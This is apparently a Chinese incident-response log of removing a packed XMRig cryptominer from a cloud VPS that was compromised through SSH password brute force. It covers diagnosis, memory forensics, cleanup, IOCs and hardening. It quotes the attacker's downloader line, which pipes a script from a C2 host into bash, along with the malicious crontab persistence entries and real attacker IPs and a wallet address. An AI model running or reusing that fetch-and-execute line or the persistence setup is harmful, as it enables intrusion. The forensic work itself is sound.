2026-08 挖矿木马入侵定位与清除实录(XMRig / supportxmr)

⚠️ 仅本机使用:本文含真实 IOC(攻击者 IP、钱包地址)、真实主机路径与会话记录,勿外传。

机器:华为云 ECS hcss-ecs-3816,2 核 Ubuntu(kernel 6.8.0-106-generic),root 直连
事故时间线:约 2026-08-23 感染 → 2026-08-24 14:03 用户反馈"会话卡死" → 14:26 清理完毕
关联阅读:脱敏叙事版见 public/guides/2026-08-two-core-vps-miner-hunt.md

一、症状与第一现场

用户反馈是"之前的 opencode 会话是不是卡死了"。上机第一件事不是重启任何东西,而是确认三件事:现在谁在吃 CPU、历史负载什么样、有没有僵尸/D 状态进程

ps aux --sort=-%cpu | head -20     # 按 CPU 排序找大户
sar -q | tail -15                  # sysstat 历史负载,回答"之前是不是真的卡"
ps axo pid,stat,cmd | awk '$2 ~ /D|Z/'   # 排除不可中断/僵尸进程

结果非常典型:

  1. PID 1194,进程名 c572e6c1,CPU 常驻 95.7%,累计 CPU 时间 1050 分钟——而机器总共才 2 核;
  2. sar -q 显示全天 load 在 5~8 之间(2 核的机器),5 分钟/15 分钟负载长期倒挂;sar -u 里 sys 占 40%+。结论:opencode 本身没毛病,是机器被吃满了导致一切交互都慢得像卡死
  3. 无 D/Z 状态进程,排除内核级卡死。

所以排查挖矿的第一课:用户说"卡死",先看 load 历史,再看 CPU 大户。sar 数据能直接区分"这次卡"还是"一直卡"。

二、从可疑进程到实锤

2.1 定位文件落点

c572e6c1 这种随机十六进制进程名本身就是红旗(正常软件不会叫这个名)。查它的真身:

ls -l /proc/1194/exe /proc/1194/cwd
# exe -> /var/tmp/71bb495c/c572e6c1   ← 隐藏目录 + 随机名,经典矿马落点
tr '\0' ' ' < /proc/1194/cmdline      # 命令行只有进程名自己,无参数

紧接着查持久化和外联:

crontab -l        # 发现 4 条恶意任务
ss -tnp | grep ESTAB

crontab 内容(已备份至本机 /tmp/opencode/crontab.evidence.bak):

@daily   /var/tmp/71bb495c/./3fdcbbb5 > /dev/null 2>&1 & disown
@reboot  /var/tmp/71bb495c/./3fdcbbb5 > /dev/null 2>&1 & disown
* * * * * /var/tmp/71bb495c/./3fdcbbb5 > /dev/null 2>&1 & disown
@monthly /var/tmp/71bb495c/./3fdcbbb5 > /dev/null 2>&1 & disown

每分钟一条 + 开机一条 + 日/月兜底,四重保险。网络侧有一条到 85.11.167.190:443 的 ESTAB 长连接(无 PTR 记录)。

2.2 内存取证:不开样本也能定罪

两个样本都是静态链接、无 section header 的 ELF(加壳抹痕迹),strings 抠不出明文配置。但矿机跑着呢,配置必然在内存里。以 root 直接读 /proc/PID/mem

import re
pid = 1194
maps = []
for l in open(f'/proc/{pid}/maps'):
    p = l.split()
    if 'r' not in p[1]: continue          # 只扫可读段
    s, e = p[0].split('-')
    maps.append((int(s,16), int(e,16)))
mem = open(f'/proc/{pid}/mem','rb',0)
pools, wallets = set(), set()
for s,e in maps:
    try:
        mem.seek(s); data = mem.read(e-s)
    except Exception: continue
    pools.update(re.findall(rb'stratum[+a-zA-Z]*://[\x21-\x7e]{5,120}', data))
    wallets.update(re.findall(rb'\b[48][1-9A-HJ-NP-Za-km-z]{94}\b', data))
print(pools); print(wallets)

一击命中三个铁证:

证据
Monero 钱包 87Fxj6UDiwYchWbn2k1mCZJxRxBC5TkLJQoP9EJ4E9V843Z9ySeKYi165Gfc2KjxZnKdxCkz7GKrvXkHE11bvBhD9dbMgQe
矿池 明文 pool.supportxmr.com(知名 XMR 矿池)
配置名 xmrig.json —— 本体就是开源挖矿框架 XMRig 加壳魔改

这招的价值在于全程静态:不执行样本、不依赖杀软、不碰加壳问题,直接问运行中的进程本人。

2.3 目睹目录轮换

分析期间目录名当着面换了三轮:71bb495ce42d600ee2d1af92。对照 crontab 才看懂机制:投放器每次被 cron 拉起,就把自己部署到一个新的 /var/tmp/<随机hex>/,并同步改写 crontab 里的路径。这意味着单纯删目录毫无意义——下一分钟它换个名字满血复活。清除顺序必须是:先断持久化 → 再杀进程 → 最后删文件

三、完整攻击链

顺藤摸瓜又挖出两层更深的后门,整个链条如下:

[初始入侵] SSH root 密码爆破成功(22 端口公网暴露,auth.log 中可见持续爆破)
    │
[驻留①] /etc/systemd/system/myservices.service(伪装名,Restart=always 每30分钟拉起)
    │         └─ ExecStart=/bin/bash /usr/bin/ssshd   ← 三个s,伪装 sshd
    │              └─ curl -s 195.24.237.240/.x/black3 | bash
    │                 (备用域:digital.digitaldatainsights.org)
    │
[驻留②] root crontab 四条定时任务 → 投放器 3fdcbbb5(UPX 加壳)
    │         └─ 每次运行:新随机目录部署 + 改写 crontab 路径 + 守护矿机
    │
[变现] c572e6c1 = 加壳 XMRig → supportxmr.com → 攻击者 XMR 钱包
    │
[保险丝] /root/.ssh/authorized_keys 注入公钥 "ElPatrono1337"
           └─ chattr +ia 上锁防删(immutable + append-only)

几个值得记住的细节:

  • /usr/bin/ssshd 是个 bash 一行流:从 C2 拉第二阶段脚本管道给 bash,C2 失联时切备用域名。清理时它已经下线(curl 无响应),但服务框架还在,照样要拆。
  • 公钥上了双锁chattr +iarmOperation not permitted 且 root 也删不掉,就是 immutable 标志在作怪。先 chattr -ia 解锁再删。
  • 感染时间推断:恶意文件 mtime 统一是 Aug 23 05:39(大概率被 touch -r 伪造过,仅作参考)。auth.log 里用户自己的登录全部来自固定 IP 且均为密码认证,无陌生 IP 成功登录记录——入侵途径基本锁定为密码爆破。
  • 清理当时仍在挨打213.5.130.217 正在对 root 做实时爆破(Failed password 刷屏)。门没锁,屋里的贼清了还会再来。

四、清除操作全记录(按执行顺序)

顺序即安全:先断持久化防止复活,再杀进程,最后删文件。反过来做就是打地鼠。

# 1. 取证备份(清空前留底)
crontab -l > /tmp/opencode/crontab.evidence.bak
cp /root/.ssh/authorized_keys /tmp/opencode/authorized_keys.evidence.bak

# 2. 断持久化①:清空 root crontab(其他用户 crontab 与 /etc/cron.d 已逐一核查干净)
echo '# miner cleanup' | crontab -

# 3. 杀进程(见下方踩坑说明)
pkill -9 -f 'c572e6c1|3fdcbbb5'

# 4. 删投放物
rm -rf /var/tmp/e2d1af92 /var/tmp/71bb495c /var/tmp/e42d600e /var/tmp/67c3a59d

# 5. 断持久化②:拆除假 sshd 服务
systemctl stop myservices.service && systemctl disable myservices.service
rm -f /etc/systemd/system/myservices.service /usr/lib/systemd/system/myservices.service
systemctl daemon-reload
rm -f /usr/bin/ssshd

# 6. 断保险丝:解锁并移除后门公钥
chattr -ia /root/.ssh/authorized_keys
grep -v 'ElPatrono1337' /root/.ssh/authorized_keys > ak.new   # 过滤而非整删,防止误伤自有key
# (本例过滤后为空,且确认用户全部为密码登录,故整个文件删除)

# 7. daemon-reload 后复查 systemd 单元已消失
systemctl status myservices.service   # → Unit could not be found ✓

踩坑实录:pkill -9 -f 自匹配。第 3 步实际执行时,pgrep -af 'c572e6c1|3fdcbbb5' 把我自己那条包含关键字的 shell 命令也匹配了进去(PID 89264 是正在执行命令的 bash),pkill -9 连自己的父 shell 一起带走,导致命令超时。事后验证目标进程确实已死,但正确姿势应该是用精确匹配或排除自身:

pkill -9 -x c572e6c1            # -x 精确匹配进程名
# 或
kill -9 $(pgrep -x c572e6c1)

五、验证闭环

清理不是做完就算,要有前后对比数据:

ps axo pid,cmd | grep -E 'c572|ssshd' | grep -v grep   # 无残留进程
ss -tnp | grep '85.11.167.190'                         # 矿池连接消失
uptime                                                 # load: 7.53 → 0.94(几分钟内)
sar -u 1 2                                             # CPU 空闲率回升到 85%
grep -rl '195.24.237.240\|ElPatrono1337\|3fdcbbb5' /etc /usr/local/bin /opt /root  # 全盘无残留引用

另外做了横向排查,均干净:UID=0 账号仅 root、ld.so.preload 不存在、全系统无可疑 immutable 文件、无其他 authorized_keys、systemd enabled 单元逐个过目无异样。

六、IOC 速查表

类型 说明
文件 /var/tmp/<hex8>/c572e6c1 加壳 XMRig 矿机本体(目录名动态轮换)
文件 /var/tmp/<hex8>/3fdcbbb5 UPX 加壳投放器/看门狗
文件 /usr/bin/ssshd 二阶段下载器(bash 一行流)
服务 myservices.service 伪装 sshd 的驻留项,RestartSec=1800
C2 195.24.237.240/.x/black3 二阶段脚本分发
C2备 digital.digitaldatainsights.org/.x/black3 备用分发域名
矿池 supportxmr.com / 85.11.167.190:443 XMR 矿池及节点
钱包 87Fxj6UDiwYchWbn2k1mCZJxRxBC5TkLJQoP9EJ4E9V843Z9ySeKYi165Gfc2KjxZnKdxCkz7GKrvXkHE11bvBhD9dbMgQe 攻击者收益地址
公钥注释 ElPatrono1337 后门 SSH key 标识
爆破源 213.5.130.217 清理当日仍在活跃爆破

七、遗留风险与加固清单

木马清了,门还开着。按优先级:

  1. 【高】SSH 防线:当前 root + 密码认证暴露公网,这是本次入侵的根本原因。任选其一或叠加:
  2. 云安全组把 22 端口限制为常用出口 IP;
  3. PasswordAuthentication no 改纯密钥登录(先把自己的公钥放进去再改!);
  4. 装 fail2ban 自动封爆破 IP。
  5. 【高】改 root 强密码:爆破正在进行时,弱密码等于裸奔。
  6. 【中】评估重装:root 已被完全控制过,攻击者理论上可以埋下未发现的更深后门(内核模块、被替换的系统二进制)。本次虽经全面排查未见异常,但"没找到"不等于"不存在"。重要数据备份后重装是最干净的方案。
  7. 【低】顺手项opencode-web.service 以明文环境变量携带访问密码且监听 0.0.0.0:4096,建议确认该端口是否对公网开放;取证材料在 /tmp/opencode/(原 crontab、原公钥、样本二进制),上报云厂商或深分析前别删。